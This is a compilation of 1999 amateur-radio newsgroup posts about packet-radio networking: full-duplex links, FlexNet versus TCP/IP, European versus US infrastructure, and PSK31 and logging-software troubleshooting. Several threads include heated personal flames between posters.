9k6 link does. but of course nobody in his right mind would use 1k2, even
fullduplex, on a node-node link.
When your transceiver isn't suitable for 9k6, use the HAPN 4k8 modem.

>ARRL by the FCC) because most no-code Hams have stuck to voice.

Be patient. We have had no-code licenses for about 35 years now, and
there is no such effect visible anymore. No-code licensees (like me)
are just as active on all non-voice modes (except morse code) as full
licensees are.

Maybe in the initial years you may view an effect like you see, because
there is an influx of people who always wanted to have a HAM license
to extend their CB capabilities, but did not want to pass a morse exam.
But when things have stabilized, it is just a matter of choice. Some
people are interested in morse code and HF bands, and pass the exam.
Others are not interested in that, and select the no-code option.

I have my no-code license for 21 years now, and I have never felt the
urge to "upgrade" (???) to a full license, even though I can copy morse
code and could probably have passed after a few months of practicing.
This only means I cannot transmit below 30 MHz, something which I am not
interested anyway. It has never kept me from being active in packet
radio and the building of the network.

I'm not familiar with that m'board, but I know you can get a problem
with some m'boards if you set the onboard COM port addresses to "auto"
in the BIOS. Try and make sure that COM1 is specifically assigned to
3F8/IRQ4 and COM2 to 2F8/IRQ3.

I see them pretty regularly at Ham fests and swap meets. There's usually a
few of them for sale on packet, and I'm sure there are a number of sources
for them, here on the Internet. (E-bay, etc.)
Sometimes you can get them for free, or next to nothing, and they are much
better suited to our uses (packet networking) than most regular ham gear.

I hear of Mitreks, Micors, Master II's, and several others. These seem to be
the most popular.

Steve made a great suggestion, but I won't be using it since one of my
personal criteria is that what I do should be easy to duplicate by any of my
fellow appliance operators. Sure, I know a local Ham who has the expertise
and equipment to help me out with converting a couple of Master II's, but
for the purposes of this experiment, I'll be pretending that there is no
assistance available, and it all has to be so cheap and simple that even I
could do it.

That's why I'm mucking around with old scanners, HT's, and so on. It's not
the optimum way to do this, by far, but optimum is not what I am shooting
for. I'm looking for something reasonably effective that just about any ham
can do without assistance or a lot of money.

I also know that impressive performance from unimpressive equipment will
serve to highlight the fact that the fulldup link is the one and only reason
it performs better than a standard old 1.2 halfdup link.

> >
> >You couldn't keep the channel full on the full-duplex link. There isn't

> latencies might be hugely lower, I assume.

That's what I am shooting for. Amazing performance from commonly used, inexpensive equipment set up in a way that just about any old appliance operator could easily duplicate.

I'm also trying to demonstrate fulldup to US hams, who are generally ignorant of the benefits it offers.

I know it sounds pretty stupid to do such a thing at 1.2kb, but remember that it is not high-speed packet I am trying to demonstrate, but rather high-efficiency packet. (which gives you higher speed too, but in a different way)
The performance of the standard 1.2kb half-dup model is very well known. It's a standard of performance that hams can easily compare to what they see on the fulldup link.

I'm hoping that interested Hams will try out my fulldup 1.2kb link and be so impressed as to have trouble believing that it's really 1.2kb. Of course 1.2 kb is much cheaper and easier to work with too, and I won't complain about that.

Then I'm hoping that more knowlegable US hams may find themselves wondering how well a HTS-free 19.2 kb fulldup link would compare to 56kb half-dup. - And so on.

It's like having the same old 350 chevy in your car, but overnight somebody swapped out your 4-bbl carb for a roots pump. (supercharger) I think that once US packet ops are made aware of the benefits to be had from fulldup setups, it will appeal to many of them who are presently having trouble getting enough throughput to do what they want.

Have you looked at the various ARRL "Computer Networking Conference"
proceedings--especially the early ones? (Conferences 1-4, 1981-1985 were
published as one volume.)

It may be "old" technology, but there was a lot of good engineering there.
Lots to learn. Gives you both a technological and a historical perspective.
Much like reading old QSTs.

There used to be an ad in the Ham magazines, there may still. I've
only seen them at the Dallas Hamfest. Most other Hamfests are too
small around here.

I think the bottom line is, that you don't want to have to invest in a
cavity, although they aren't that expensive, and operate with
frequencies that are seperated by a couple megahertz. This is so one
system doesn't desense the other.

High-speed RF has to get cheap and easy enough for individual hams to use, and for clubs to justify the cost of getting one. To set up a nationwide network there needs to be more than just a few interested folks. The setup for such a network has to be such that any large clubs (or one on the forefront of stuff) won't consider having the right stuff no more trouble than a repeater.

Unfortunately, yes. This, unfortunately, is one reason why young people (like me) aren't interested in ham radio. Voice is passï¿½, and while SSTV was interesting at one time, the Internet provides more, faster and cheaper. Even the smart kids who are interested in 'cool' technology don't find amateur radio as interesting as things like fibre optics,

xDSL, and developing tele/data-com technologies. If they do get into wireless, its wireless LANs (11 Mbps), microwave, or some form of cellular (GSM, PCS, CDMA).

> It's the 13 year olds we want to attract. Boys and Girls, and not

These kids also go on to college and make money after that. They are using digital PCS phones, CDMA (over DSSS) cellular phones, will be learning about (and using) wireless LAN technologies, inter-device communications like Bluetooth, and more. If they get interested in _using_ tech now, they will learn about later on.

Exactly. Face it, listening to debates of 1k2 duplex vs 9k6 simplex is depressing for me. On the net, I talk about 10 Mbps duplex for my local connection, 155 Mbps to the Internet2. I've done some research on wireless technologies for telecom deployment in rural/underdeveloped ares. The minimum I look at for fixed personal communications is 64 kbps duplex (point to multipoint). For high bandwidth, 10 Mbps (asynch, 1.5Mbps upstream - point to multipoint). For backbones, 45 Mbps point-to-point. These are assuming the same advantages. Cellular architecture means that max range only has to be 20-30 miles. Complete control of the spectrum. Money for centralized towers.

The trick is to get a simple, cheap (hundreds of dollars) device that allows mutipoint-to-multipoint communications, hands routing, and more. It needs to be fairly simple to assemble by one's self (for do-it-yourselfers). As the network expands, applications will be designed for it.

> connect serially to it.

A 384 kbps duplex connection to a distributed international wireless network is interesting, even for me. Give the ability to connect from anywhere (with the right equipment) in the world, and it gets even more interested. With the ability to get involved at a relatively low entry cost, you get a lot of more interested folks. If it uses technology that has market, more people will get involved, not just for a hobby's sake, but to increase their own skills for the market.

Digital amateur radio could have the advantage of transferring skills to lucrative careers, if only because an understanding of CDMA, spread spectrum, antenna design, radio location, interference, echoing, etc. are easily transferred to skills that are valuable in the cellular industry, organizations setting up wireless links, wireless Internet, etc. The world is going digital, and that is what the new generation is used to, and learning.

I got my technical license a couple of years ago, and did some stuff on voice. When I started school, my interest dropped off with a high-speed Internet connection, no free time, and the need to pump resources into my computer. I have remained interested in digital wireless (it is the future), but on the ham front (in America, anyways) the whole scene appears to be 10 years behind everyone else. TAPR has some really interesting spread spectrum equipment, and there have been some interesting regional experiments, that is about it. I would love to get involved in the digital world again, but I don't have the time, skills, or resources needed to really get involved (on the high-end). These are the costs of being on the bleeding edge :) but the ability get equipment for high speed digital packet would be nice. Better for someone to get a 384 kbps connection now, and then tweak it to 1.6 Mbps later when they feel confident with fooling around with equipment. But nothing is available (that I know of), and critical mass is nowhere near being attained.

There is nothing that compares to the thrill of talking to someone from Algeria or Antarctica, but people don't understand it, and now I can 'talk' to people from across the world with practically zero effort. Ham radio, in it's current form, simply can't compete with the Internet.

sigh I really don't know what it would take to get me, and others like me, interested in ham radio, either again or for the first time. Wireless cannot compete with land line on simple technical aspects, but it can at least get out of the bandwidth dumps (Talking about how fast a 9k6 duplex link is can really depress today's bandwidth freaks). An upgrade to 56kbps isn't enough today, we need to get faster (much faster). And technically speaking, we can. Once some half-way decent

bandwidth is there, new applications can emerge that take advantage of the flexibility of amateur radio.

Speaking of applications, new satellite extensions to TCP/IP may be useful for ham radio networks (high latency).

Commercial wireless is speeding ahead on the digital track and achieving ever higher performance characteristics, new wire technologies are making the capacity of wire (fiber) practically infinite (40 terabits per second using WDM and 80 wavelengths, not actually implemented, just theoretically possible).

OK, I'm done now. Sorry for the length. I've just been frustrated by the (apparent) lack of progress in the digital packet arena, despite the (apparent) availability of the technology. I also think that digital packet can be the medium that attracts future users to ham radio, and it hasn't even begun to live up to its potential.

I use it less and less all the time...
The only permanent use that is left is to have a permanent telnet
connection to some friends, where topics of the day are discussed like
they would be on a local FM channel. Only these connections are too
long-ranged to be made directly, so they are made across a couple of
network nodes.

At least as long as this is still easily possible. The network nodes
now natively route IP traffic, so a permanent TCP session (between telnet
applications) is possible without any traffic when nothing is typed.

Sadly enough, other amateurs don't see the beauty of routing IP in the
network, and want to "upgrade" it to FlexNET. But FlexNET cannot route
IP, and forces you to use a surrogate: route it yourself and tunnel the
traffic through AX.25 connections that end up at another station that
routes IP. This would be a big step back, and probably the end of my
last use of the network.

The more we get away from a network that widely supports IP, the less
interesting applications are possible. So I just use the Internet instead.

Packet radio is a dead end anyway. Even with those "high performance
full duplex links" that operate at a blazing 9600 (or even 19200 or 38400)
bps, the network is slow compared to Internet.
Well, this is already being discussed in other threads.

Rob

Rob here is a good A type... I'm sure his reply to this question will
serve well of an example of A type thinking.

>
> I use it less and less all the time...

Told you!

> The only permanent use that is left is to have a permanent telnet
> connection to some friends, where topics of the day are discussed like
> they would be on a local FM channel. Only these connections are too
> long-ranged to be made directly, so they are made across a couple of

What a thoughtful guy! Sets up a permanent connection over a couple of
nodes, QRM'ing his fellow hams 24/7 to no particular purpose.

Too much bother to just connect to these folks when you actually wish to
talk with them?

Remember that an important component of the A philosophy is a complete
disregard for the activities of other Hams that are "non A". This is a big
part of why amateur tcpip does not have a very good reputation among the
mainstream packet folks.

I see tcpip'ers talking (CC pid) on the local zoo channel frequently. Their
systems typically exchange four or five packets for every one that actually
contains information, and these are repeated a number of times before one
actually gets through. - This when hardly anybody else is experiencing any
significant retries.

Gee, why would they call tcpip and it's users "inefficient channel hogs" ?

>
> At least as long as this is still easily possible. The network nodes

Another giant step backwards for amateur packet radio.

Won't be long now! Unfortunately, Rob is full of farina about FlexNet being useless for tcpip. I wish he was right, but...

> The more we get away from a network that widely supports IP, the less
> interesting applications are possible. So I just use the Internet
instead.

Uh oh! Here goes the "applications mantra" again! I thought we had laid that one to rest.

> Packet radio is a dead end anyway.

There's an "A" attitude if I ever saw one! Attitudes like this are a dead give-away.

Anybody want to venture a guess why these guys are such losers within the packet radio community?

> Even with those "high performance
> full duplex links" that operate at a blazing 9600 (or even 19200 or 38400)
> bps, the network is slow compared to Internet.

Good thing that Ham Radio is about radio, and not about high-speed Internet communications, isn't it?

Let me be one of the first to invite you to take a hike, Rob, if you find that Ham Radio is just not good enough for you.
With your attitude (A) you are not good enough for Ham Radio either, so the solution is obvious.

We'll keep our fingers crossed about your local network upgrading to FlexNet real soon. Is there a place I can mail a donation?

Recently replaced my older Soundblaster 16 with a new
Soundblaster 16 PCI. Now PSK-31 software fails to work. Program
executes but doesn't seem to make the connect to the sound card.
Does any know if PSK-31 uses a specific address and interrupt?
Has anyone else experienced this problem. I am using an AMD
K6-2/350 with 64MB RAM running under Windows 98.

Right. That's exactly the correct approach. Hide all the magic in sendmail,
or an equivalent daemon written for Windoze invoked at system startup,
and in the low level protocol and device drivers for each type of interface.
At the user level, implementation details should be invisible and irrelevant
to the functioning of user level services.

I think it's an uphill battle -- if you know some ways to go about
attracting young people into the hobby I'd love to hear them.
I'm 22 and know plenty of people who could pass the theory and regulations
exams without doing too much study at all (engineering majors). The
interesting isn't there though. I don't know anyone my age who has
their full license. The local club has a lot of guys who are younger
(pre-retirement!) but still 30+ I think. I find this a bit of a shame
because I get a lot of fun out of this.

>chat servers and clients. Have done some experiments with NetMeeting
>over ham radio. It needs a LOT faster network. 56k minimum.

Right. Netmeeting, and other whiteboard conferencing programs, do work
well on a 56 kb network. They really bring the benefits and power of packet
to the forefront. Digital voice programs such as i-net phone work too, though
currently they are more a curiosity than useful tool. rlogin also works for access
to distributed computing resources. Other more sophisticated client server
and distributed computing activities are also feasible. They just can't work
well at lower speeds due to throughput and latency problems, so until the
RF infrastructure is improved in an area, they won't see much use.

>How to create wide area tcp/ip networks? I don't know the answer
>to this one. It seems to be more a political issue than technical. Also
>the software needs to be a *lot* easier to set up and get working.

It is primarily a political (and financial) issue. RF networking requires
cooperation on a scale that's unusual for amateur radio. It also needs
an infrastructure whose cost has to be borne by the network users
in an equitable fashion. Few amateur groups have managed to pull it
off at the LAN/MAN level, and fewer still have managed to implement
and support a WAN size system.

I'd also agree that something a bit more user friendly than sendmail
scripts, routed, and ifconfig would be nice so that a user can get up and
running without having to know all the cryptic details of configuring to
work with a given network. (This has been getting better. Many of the
recent Linux distributions have setup menus which make these tasks
much easier than they were in the past when you "just had to know" to
be able to set things up.)

But each amateur does have to act as his own "ISP" in most of our
networks. That means he has to have knowledge and skills similar
to those required of people who administer landline ISPs. It isn't
"plug and play" the way a dedicated single user wireline internet
connection via an established ISP is. It probably can't be made
"plug and play" given the nature of amateur networks.

I'm not sure we want it to be plug and play anyway. If it were, then
we might as well just dial up an ISP and use the wired internet.
A major part of amateur packet radio is in learning how networking
works. We can't do that if we treat it strictly as a black box appliance.

>So perhaps this idea devolves into the political question of how to build
>fast ham radio networks. The solution to date has been to rely on the
>internet for almost all the transport, and not put $ and effort into building
>radio network. I don't see a solution for the network problem.

There probably isn't a solution with a national scope. There are too many
square miles, and too few hams, to make a national packet network viable.
The topology is too sparse, and the infrastructure costs, emphatically
including network maintenance costs of trunks through sparsely occupied
rural areas, are too high. Latency quickly rears its ugly head too, limiting
realtime network activity to a relatively few hops. It can be done on the
metropolitan area scale, however. The amateur density on the ground is
enough to support the necessary infrastructure, and the distances involved
are short enough to keep latency problems at bay.

In Europe, where countries are hardly bigger than our states, national
networks may be feasible. In the US, however, we have too many large
areas where the amateur population density isn't sufficient to support
the necessary network infrastructure for a fast reliable national RF
network. We'd be wasting our time and resources trying to use the
wrong tool for that job. We need to concentrate on doing what we can
do well, that's metropolitan wireless networks.

Note, we can do low speed relaying on HF, and we can do some non-realtime
relaying on slow VHF links. That has some potential as a national, and on some
frequencies international, scoped message passing system. But it is really a
separate thing from actual packet networking. That sort of message relay is an
application that rides *on top* of an underlying network or networks.

Not only are different protocols required on the slow links, but the very large
disparity in throughput and latency mean that the two don't interoperate well.
Trying to mix the two leads to a disappointing composite system no more capable
than its weakest link. In an internet age, most amateurs aren't going to tolerate
networks with latencies measured in hours or days. So there won't be much
continuing support for such efforts.

Suggest you look at the new Mixer program that came with the new card.
You may have inadvertently turned off some of the card inputs or outputs.

Also suggest you try Sound Recorder, etc. in Windows to ensure that the
card itself is working.

Interesting, Charles, and thank you for putting this together for me, but what was the network aspect of the activity?

I seem to recall back in the 80's that the local BBS's in the Dallas area would log similar activity, though not in the quantities you report. What role did having the network available play in either allowing or exciting this activity? What locations did the network(s) link up? How does this level of activity compare with similar TexNet stats for the same time period? What were the prevailing network protocols? What percentage of the links were "pure radio?"

Look, Charles, let's clear up one thing right up front: regardless of your personal biases and opinions, which you seem willing to expound freely, there is no way that I can be derided as either a Type A or a Landline Lid. I work RADIO, I love RADIO and I have for a long, long time. I was one of the very first packet operators and stations in the North Texas area. I wrote and supported the TNC64 program that probably did as much as anything to get a few thousand folks started on packet when it first came out. The proceeds from that program, given to TPRS, allowed the first TexNet implementation to be funded and to happen.

I left the packet scene when I became literally "tired" of it after my retirement from TI and when my consulting and teaching activities started taking all my time. I have no ties with TAPR or TPRS whatsoever. At this point in my life - 70 years and counting - the political infighting is something I leave to folks like you and Greg whatever-his-name-is. I do retain a professional interest in amateur networking activity, though, and enjoy keeping up via this newsgroup and others. Your postings I always read in an attempt to keep up with all happenings in this area.

So, when I ask a civil question on the newsgroup or of you personally I expect and deserve a civil answer without a lot of political posturing or personal attack. From what I read, you have a lot to contribute to this topic. And in my opinion it would be much better received and accomplish more good if you would put some of that attitude behind you and turn down the personal crusade. "Just the facts, sir!"

Just some advice - unsolicited - from an interested bystander. And thanks again for taking time to respond to my question to Rob Jannsen. It is curious that he has not responded with similar information or with any information at all.

I am clearing out the ham shack of all my QST magazines once again. If anyone is interested, I am selling
1992-1998 at $1.00 ea. (you pay shipping costs however you want them shipped). If you
are interested in over 12 issues or the entire collection, make me an offer. I am willing to ship anywhere on
this planet so long as you are willing to pay the shipping costs.

Here are the issues that I have:

QST

1992 Jan - April $1.00 ea.
1993 Jan - Feb & April - Dec $1.00 ea.
1994 Jan - Oct & Dec $1.00 ea.
1995 Jan - Dec $1.00 ea.
1996 Jan - Dec $1.00 ea.
1997 Jan - Dec $1.00 ea.
1998 Jan - Dec $1.00 ea. (May issue is missing page 73)
1999 Jan - Current $2.50 ea.

All the issues are in perfect condition with no ripped pages or covers. Sorry I don't have anymore, but the last
time I did this in 1993, I sold all my 1989 through my 1992 issues less a few months still available.
If you would like to check my references, please feel free to do so. I am on Ebay and my user ID is: Andrew45

Try here for sound card programs.

http://www.muenster.de/%7Ewelp/sb.htm

I have tried the btl program under win98 on a very cheap motherboard
that has the sound built in and even though it is a dos programs the btl
program works under win98.

I also tried the ftv program for cw ,but can not remember if it was
under dos or win98.

You'll have to clarify that for me... I'm not sure what you are wanting to know there.

It's a listing packet BBS messages, if that's any help.

>
> I seem to recall back in the 80's that the local BBS's in the Dallas area
> would log similar activity, though not in the quantities you report. What
> role did having the network available play in either allowing or exciting
> this activity?

It's all stuff off of the packet net. If the packet net were not there, I would have had nothing to display. That's the role the network played.

>What locations did the network(s) link up? How does this
> level of activity compare with similar TexNet stats for the same time
> period? What were the prevailing network protocols? What percentage of
> the links were "pure radio?"

That would be a tough one to answer, since the messages came from all over the planet and used a variety of ways to get here to north Texas. If I had a listing of every participant of the network on the planet, I guess I could send you that. - But I don't.

I can answer that the percentage of "pure radio" (is there such a thing as "unpure" radio?) is much lower today than it was ten years ago, when the A types got their hooks into the packet radio net in the USA.

In other words, the US packet net has devolved and diminished on their watch. - The packet network that only the B types were competent to put together in the first place.

>
> Look, Charles, let's clear up one thing right up front: regardless of

> Landline Lid.

Welll, if somebody ever does, be sure and let me know about it. The following is the sum total in my reply to you that could concievably be construed (by a rational person) as being personally addressed to you:

If you can't figure out what to *DO* with a network, you should regard that lack as a personal problem... Plenty of other folks are having no trouble figuring it out at all.

I'll stand by that.

Don't you feel silly devoting the bulk of your post to defense of "attacks" and "name calling" that never occurred?

You sure look silly as hell to me, and you can take that just as personally as you like.

I don't have much time, patience, or sympathy for whiners. I'm glad to hear that you are not a LandLine Lid, too. Usually the two go together, but not always.

Take a chill-pill, OM!

3916. Packet radio with Newtons

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-18 00:00:00 UTC
From: Chris Frost <cfrost@HiWAAY.net>
Message-ID: <d8UE3.19158$N77.1426602@typ11.nn.bcandid.com>
Source record: 16624

I'm thinking of setting up a base station and login in remotely over an ht
with my newton (handheld computer). What options do I have to do this?
Only the "native" packet radio mode? Or might it be able to do tcp/ip
connections (the device does have a tcp/ip stack, though entended for
modems and infared).

Related question, assuming I can only use the native packet radio mode,
will it be possible to connect through another packet station which can
then forward my packets to the home station?

Also, any recommendations on a low power tnc for handheld use?

thanks!

Yes, I noticed that about you quite a while back, Steve.

I admire your valiant effort against a crushing handicap.

>You say Europe (and that covers quite a few
> square miles) is wired, and the US is not. Please provide us with the
> facts:

Steve is really starting to grasp at straws. Now he's going to try the old
"ask for unreasonable details" game, where you pretend that if your debating
opponent cannot win a trivia game, he is somehow considered incapable of
knowing anything at all. I've never seen anyone confident of their position
use this rather lame tactic in the past... Has anyone else?

I don't play that game, in any case.

>
> 1. How many 9.6 kbps and greater speed nodes are there?

Most are 19.2 fulldup, from what I understand. Most user access is 9.6kb.
Slower stuff does exist, of course.

> 2. Of those nodes, what is the average bytes per day transported
> over 20 miles?

That would depend, of course, upon the amount of data that European hams
decide to transport for over 20 miles in a given day.

> 3. Of those nodes, what is the average bytes per month transported
> over 20 miles?

That would depend, of course, upon the amount of data that European hams
decide to transport for over 20 miles in a given month.

> 4. How many 1.2 kbps and less speed nodes are there?

I would imagine that their network uses the same number of nodes running at
less than 1.2kb that we do. That's zero, in case you still haven't figured
out how ignorant that question was.

How many 1.2 kb nodes are there in Texas, Arkansas, New Mexico and Arizona?

Nobody really knows, of course. Steve was just grasping at straws, having realized that he's been backing the wrong horse.

> Give us the facts, not what you think. Did you just make a visit there?

Nope. Never been there. Try asking Don Rotolo N2IRZ of NEDA about that. He wrote up an article on the German FlexNet network for CQ VHF a few years back, and travels back 'n forth a bit, from what I understand.

Most of my information on the state of the European net comes from things Don has written, along with association with the FlexNet group and a number of Hams from different parts of Europe who have been kind enough to exchange e-mail with me and share the info that later went into many of my FlexNet setup articles.
I've been looking into different angles of the European net for a couple of years now, as best I can from Pottsboro, Texas. I "americanize" the stuff I pick up in those articles, and stick them on my web site for all hams, but most especially for US hams, who deserve much better than the gloom 'n doom you A types have been feeding them for the last decade.

>
> If Europe was a great place to live, several million American men and

That paragraph makes very little sense to me, OM. Looks like you are displaying another personal problem in this post, as you usually do. My theory is that you need to lay off the cheap beer.

Are you on medication, by any chance? If not, you should give it serious consideration.

Gary,

1)
Some folks live out in the country.
Sometimes WAY out in the country.
5-10 watts won't cover the 50-150 mile paths required.
Multipath can be handled by the use of appropriate antennas.

2)
Some of us want to build long haul networks.
100 mile or longer paths are needed.
Got to get the power spread.
Takes aluminium as well as silicon.
The only other choice is to use the internet.
That ain't ham radio. No challenge involved.

So you are saying these modules do not need any tune up?
Just plug everything together, hook to an antenna, it works?
Could you be more specific about the test gear required
beyond your basic solder gun, screwdriver and pliers?

Where does one get these various modules?
What is their cost?

I think you meant "30 km. or longer". Somewhat above 15 MB per day.

> 3. Of those nodes, what is the average bytes per month transported
> over 20 miles?

A bit less than .5 TB per month.

> 4. How many 1.2 kbps and less speed nodes are there?

1,285 as of September 1, 1999. Slowly decreasing.

> Give us the facts, not what you think. Did you just make a visit there?

There they are. Do you wish to argue with them?
You could have done the research yourself.
The node lists etc. are all published on the net.

I thought it a rare occurance, that you would post a technical question in this group.

But it seems it was only SPAM bait, as it quickly degenerated into your normal "I'm OK, you're not" line of mental retardation.

The best thing to do, is to ask a question, and wait for the replies. If the replies generate other questions, then by all means ask or qualify your question. I'm a little disturbed that I have to teach a grown man how to communicate with adults, but Brabham is unable or unwilling to communicate. Only willing to set us up in a SPAM trap, and then reiterate for his groupies in the Pacific Northwest, his being right over any facts.

To take a simple question, and veer off into the groups SPAM bait lines of "you're not a real ham, unless..." mental ratardation, is the height of pre-school logic.

>on all the time.

What was the distribution between bulletin forwarding and other
traffic (e.g. in terms of AX.25 frames sent or channel loading) ? Does
the bulletin forwarding use the same channels and equipment as the
more interactive applications ?

Composing a single line message in some chat mode might take 10-15
seconds and in order to have some feel of interactivity, the
propagation time should not be more than that. How far, in terms of
hops can you reach in the evening, when people have time to chat ?

The problem is that if the network has been mainly built for bulletin
forwarding, it is tuned towards high throughput and high channel
utilisation. Unfortunately, this increases the latency time and the
latency times become less predictable, thus making interactive
applications not very comfortable to use and easily killing the
enthusiasm for any new interactive applications. OTOH, tuning for
better interactive response drops the channel usage and total net
throughput.

Even a 1200 bit/s full duplex backbone link would be great for
interactive use, since short frames could be sent effectively, without
taking the penalty from TxDelay. Unfortunately the good latency times
could be easily destroyed, if bulletin forwarding with long AX.25
packets would be inserted. On 9600 bit/s full duplex, a full length
AX.25 (bulletin) frame (sent at moderate intervals) would not destroy
the latency times for other users very badly (only 250 ms compared to
2 s on 1200 bit/s).

Having trouble getting those last few contacts for your DXCC? Use the
Telephone!

It's easy! It's fast! It costs less! It requires no
knowledge or ability whatsoever!

Still can't talk to those rare and distant countries on 10
meters, even with an expensive new tribander?
Use the Telephone!

Do you have NTS Health 'n Welfare traffic which must be moved to a
recipient several hundred miles away? Use the Telephone!

Want to build an Amateur Radio Digital Network? Use the Telephone!

Want to reliably communicate with distant Hams while radiating
a minimum of RF? Use the Telephone!

For some strange reason, in every aspect of Amateur Radio
except Packet, it is widely recognized that using the Telephone is not an
appropriate response to the challenges we face as Ham Radio operators.
Everywhere else, there is an unspoken understanding that as Hams, we are
expected to be clever in our use of Radio and in the process of
overcoming those challenges, advance the art and better ourselves as
persons.

Why is it, I wonder, that the type of information we transmit
(Digital as opposed to Analog) makes any difference in this matter? Why is
it "OK" to bypass and undermine the use of Radio by Hams who want to
transmit Digital info, but not "OK" to do so for Analog stuff?

Is there a particular reason why advancing the art of Amateur Radio in
respect to moving Digital info is deemed to be of less importance to us as
Hams? Is there any logic behind the widely-held perception that
as long as you are handling Digital info, it doesn't really matter (As a
Ham) whether you use Radio to communicate or not?

In places where the regs specify that non-ham means of
communication not be allowed within the Amateur Radio Digital Net, there has
been unchecked progress and advancement over the last decade.
In those places where the use of Packet/Internet gateways have not been
regulated though, the opposite has happened and Network
infrastructure has been severely compromised while Hams have lost interest
and heart in large numbers. This is what has happened to the USA, Australia,
and other places where "packet hackers" have been given a free hand to do as
they wish.

I have read about FlexNet nodes in Europe which regularly handle 10 Megabytes per hour and more of traffic. That represents a high level of both physical and technical development and advancement, along with a high level of interest and enjoyment among the individual Packet ops there.

The difference is infrastructure. Use the Telephone instead of Radio, and infrastructure is what you give up. Sure, it's a challenge to build a digital network; It's expensive, difficult, frustrating, and sometimes appears to be impossible. The alternative though, is the mediocrity which follows those who prefer to cop out, cheat, and cheapen themselves while they undercut others.

I just don't see why our response to the challenges we face as Hams should be different when wanting to move Digital as opposed to Analog information.

I do not see why Hams using Radio is treated as being less important in the US than it is in Europe.

Hi,

I've recently installed Robert Furzer's excellent "Logger" program, primarily to get its enhanced PSK31 features. I'm having a problem when shutting down the computer after using the program, instead of the normal Win95 closing screen I get an error message saying that "Msgsrv.exe has caused a general protection fault in module GDI.EXE". I then have to do a power-down to clear the dreaded "blue screen" that results.

Assuming this is not a program fault but something related to my system set-up, does anyone have any ideas on this? The system runs an Intel PII 233 MHz processor with 64 Mb of RAM with Win95 OSR2.

Thanks for your interest,

Roger Basford, G3VKM

That varies from station to station. Remember that packet messages literally
come from anywhere and everywhere. Also, the BBS fwd net is anarchic in
nature, not requiring the set routing that tcpip does. That means that a
message moving from X to Y on Friday is likely to go by a different route
than another message posted from X to Y on Saturday. There are routes a
given message may TEND to take, but no-one can really predict it with
confidence or accuracy. - And that's cool.

All this anarchy may appear to be detrimental to you, but actually it has
turned out to be the strongest feature of the BBS net. Notice how the A
types have been busting a gut for a decade or so to try to wipe out the BBS
and Packet nets in the US, got so far and then found themselves up against a
stone wall. The reason for this is that strategic removal of key stations in
the net only causes mail to "route around" the bad spot and keep right on
moving. It generally repairs itself quicker than they can damage it.
While it's true that the A geekoids have managed to set the US packet and
BBS nets back, they have come up way short of their goal of utterly
destroying them and replacing it all with tcpip. Now that Hams in the
northeast and other places are starting to reject A type thinking and
rebuild their networks, I think we can pretty well sit back and relax on
this issue. The A types tried, but failed. People can only sit on their
hands and listen to doom 'n gloom for so long.

In my case, most of the messages arrive over a dedicated BBS fwd link. My
fwd activities are literally the only traffic on that link, though it is
open for hams to use for other purposes if they want to. Some of the
messages come in on the ZOO channel, but these are individual hams, not BBS

stations.

There was a BBS I used to forward personal messages to, over the ZOO channel, but never bulletins as it's kind of stupid to do that unless there is absolutely no other choice.

I'm sorry,but there are lots of variables there as well. I have access to several nets (NetRom, TexNet, ROSE, IP) all of which have chat servers. I've got a 255 channel chat server on my FlexNet node too, which can be accessed from any of these nets.
The X1J net in Oklahoma is the only one I hop around on myself, and I generally get good enough performance for what you are talking about out to three hops, sometimes four. That's 150, maybe 200 miles I would suppose.

Then again, the criteria "good enough" varies a lot as well! Maybe my "good enough" is not, for you. I have no way of knowing about that.

This is where we differ.

My theory is that if your backbone links are at least 8-10 times faster than the access, all the various applications can co-exist quite nicely.
HTS-free, fulldup backbone links running 8-10 times faster than the halfdup access are going to be pretty hard to tie up with an overload. That's the formula for a good packet network that makes the most sense to me.

This is the strength of AX25 Packet, and the weakness of tcpip, which just HAS to have fast user access speeds to work decently. The faster user access cuts down on the backbone/access speed ratio, thus reducing the load your network can handle without loading up and slowing down.

This is why in this time of struggling to develop and speed up our networks, tcpip is not the most clever way to utilize our RF networking. In fact, it's one more handicap we just don't need at this point.

-And don't respond to this by chanting the "applications mantra". That theory has absolutely nothing to support it, when the general packet community is considered instead of a tiny minority of outspoken geeks.

Most hams could care less about running tcpip apps over Packet. They just want the network to perform decently, so they can enjoy Amateur Packet Radio apps to the fullest. (BBS, Cluster, Chat, APRS,QSO)

That 1.2kb fulldup deal is just a demo.

In practice, you want to use that expensive, complicated high-speed stuff at full-duplex on your backbone links, where it will do the most good. Use the cheap, easy, no-brainer 1.2kb or 9.6kb halfdup stuff for user access, where THEY will do the most good. - What you end up with is a decent network, difficult to overload or slow down, easy to use.

Only tcpip could screw up such a good deal. Start running high-speed access, and you can kiss your good-running network goodbye.

Charles, I want to congratulate you on a well-thoughtout and very well written piece and to thank you for sharing it on the Net for those of us who do not have the amateur network facilities that you do.

I strongly suggest that you submit this piece to ARRL for inclusion in QST as an op-ed feature.

You raise interesting and intriguing questions about amateur usage of radio in the analog areas as opposed to the digital data areas. Although I have been "around" this business of digital operations for about 15 years now, I had never stopped to realize what a dichotomy existed in the transmission and distribution systems for the two data classes. While I now almost exclusively operate CW (analog) and PSK31 and RTTY (digital), 100% of my output is put into radio waves! But, a significant amount of my discourse with the rest of the ham community also takes place on this and other newsgroups, as well as several reflectors and listservers.

It is curious that almost all dxpeditions these days that have any backing at all - and that is 99% of them - are fully equipped with fax, Internet, email, and even satellite voice communications, as well as the best of radios, antennas, and supporting equipment. DX contact logs are "netted" back to QSL managers daily and appear on Web sites almost as soon as the contacts are made. Some of the DXers claim that a dxpedition could not be successful today without the infrastructure support behind it. And almost all Dxers today absolutely *rely* on the DXCluster on two meters - or worldwide via telnet - to have any chance of working dx, so they claim. Take away the pure "non-radio" support aspects and modern dxpeditions would probably fail.

All this is such a far cry from the dxing that I grew up on - and I mean that literally since I started working DX at age 16 on 20 cw when there was no Novice class to get you started. I have a hard time identifying with the present scene - maybe that is why I seldom participate much anymore with the chase.

Again, you have "done good" as we say in Texas. A refreshing paper from a refreshing point of view done in a refreshing style. Let's have more! ;^)

Roger, I have run Logger in all versions on this 300 MHz PII system and Logger 6.09 on a PIII 500 MHz system. Both have 128 meg RAM. I have seen none of the shut-down problems that you mention. I *do* notice that Logger takes several seconds on even the 500 MHz system to finally clear itself.

You might try the Ctrl-Alt-Delete to bring up the list of running programs to see if that sheds any light. But, if you are already seeing the blue screen that would probably not work anyway. You might try closing the PSK31 window before quitting the program to see if that has any effect. Also, try minimizing the entire program and then close it from a right-click on the taskbar icon. These are desperate grasps, not proven cures! ;^)
